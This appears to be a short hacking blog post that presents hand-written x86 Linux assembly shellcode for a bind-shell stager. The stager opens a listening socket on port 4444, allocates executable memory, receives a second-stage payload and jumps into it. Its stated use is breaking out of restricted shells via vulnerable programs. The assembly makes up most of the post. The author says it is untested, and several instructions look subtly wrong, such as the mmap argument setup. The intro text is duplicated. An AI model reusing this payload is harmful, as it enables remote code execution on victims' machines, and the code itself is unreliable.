Last day I was asking myself about metasploit not seeming to have a real x86 Linux stager and I was like : oh let's do it since I have time today.
This shellcode was untested and not optimised. It is only a Work In Progress since I will be quite busy these few next weeks.
My guess for it's usage would be for jailbreaking (restricted shell but vulnerable program who knows? ;) ) or simply for doing specific tasks which might need space.
For now it's 106 bytes, there is room for improvements of course ;) .
Here it is :
Next thing to do is to optimized it and do the reverse version ;) .
Happy shellcoding,
m_101
This shellcode was untested and not optimised. It is only a Work In Progress since I will be quite busy these few next weeks.
My guess for it's usage would be for jailbreaking (restricted shell but vulnerable program who knows? ;) ) or simply for doing specific tasks which might need space.
For now it's 106 bytes, there is room for improvements of course ;) .
Here it is :
; AGPL v3
; Author : m_101
bits 32
; socket function number
%define SYS_SOCKET 1
%define SYS_BIND 2
%define SYS_LISTEN 4
%define SYS_ACCEPT 5
%define SYS_RECV 10
;
%define AF_INET 2
%define SOCK_STREAM 1
%define PROT_NONE 0
%define PROT_READ 1
%define PROT_WRITE 2
%define PROT_EXEC 4
%define MAP_SHARED 1
%define MAP_PRIVATE 2
%define MAP_FIXED 16
;
%define SIZEOF_SOCKADDR_IN 16
;
%define PORT 4444
section .text
stager:
; socket opening
socket:
push byte 102 ; socketcall
pop eax
; args
cdq
mov byte dl, 2 ; edx = 2 <=> AF_INET
push edx
dec edx ; edx = 1 <=> SOCK_STREAM
push edx
cdq ; reset edx
push edx
mov ecx, esp
; socket
push byte SYS_SOCKET
pop ebx
; socket (AF_INET, SOCK_STREAM, 0)
int 0x80
mov esi, eax ; save socket descriptor
; bind : need to finish it
bind:
push byte 102 ; socketcall
pop eax
cdq ; reset edx
; constructing struct sockaddr_in
push edx ; padding
push edx ; padding
push edx ; address = 0 = ANY_ADDRESS
push word PORT ; sin_port
push byte AF_INET ; sin_family
mov ecx, esp ; struct sockaddr_in *addr
; construct args array
push byte SIZEOF_SOCKADDR_IN ; socklen_t addrlen
push ecx ; struct sockaddr_in *addr
push esi ; socket descriptor
mov ecx, esp ; args
push byte SYS_BIND
pop ebx
; bind (sd, addr, 16)
int 0x80
; listen
listen:
push byte 102
pop eax
cdq ; reset edx
mov byte dl, 10 ; backlog = 10
push edx ; backlog
push esi ; socket descriptor
mov ecx, esp ; args
push byte SYS_LISTEN
pop ebx
; listen (sd, 10);
int 0x80
;
accept:
push byte 102 ; socketcall
pop eax
push byte SIZEOF_SOCKADDR_IN
push esp ; to fix size address
push esp ; to fix sockaddr_in address
push esi
mov ecx, esp ; args array
mov byte bl, SYS_ACCEPT
int 0x80
mov esi, eax ; save client socket
; memory allocation
; mmap
mmap:
push byte 90
pop eax
; sign extend eax => edx = 0
cdq
; construct args
push edx ; NULL
; 4MB size
push byte 1
pop edx
shr edx, 12
push edx ; edx = 4MB
xchg edx, ebx ; ebx = 4MB
; PROT_READ | PROT_WRITE | PROT_EXEC = 7
cdq
mov byte dl, PROT_READ | PROT_WRITE | PROT_EXEC
push edx
; MAP_PRIVATE
cdq
mov byte dl, MAP_PRIVATE
push edx
; fd
push edi ; client socket
; offset
cdq ; reset edx
push edx ; offset = 0
; mmap (NULL, 4MB, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE, 0, 0)
int 0x80 ; make syscall
mov edi, eax ; save allocated memory
recv:
push byte 102 ; socketcall syscall
pop eax
cdq ; reset edx
push edx ; flag
push ebx ; memory allocated size
push edi ; memory address
push esi ; client socket descriptor
mov ecx, esp ; args
push byte SYS_RECV
pop ebx
; recv (client socket descriptor, memory address, 4MB, 0);
int 0x80
; stage execution
jmp edi
Next thing to do is to optimized it and do the reverse version ;) .
Happy shellcoding,
m_101

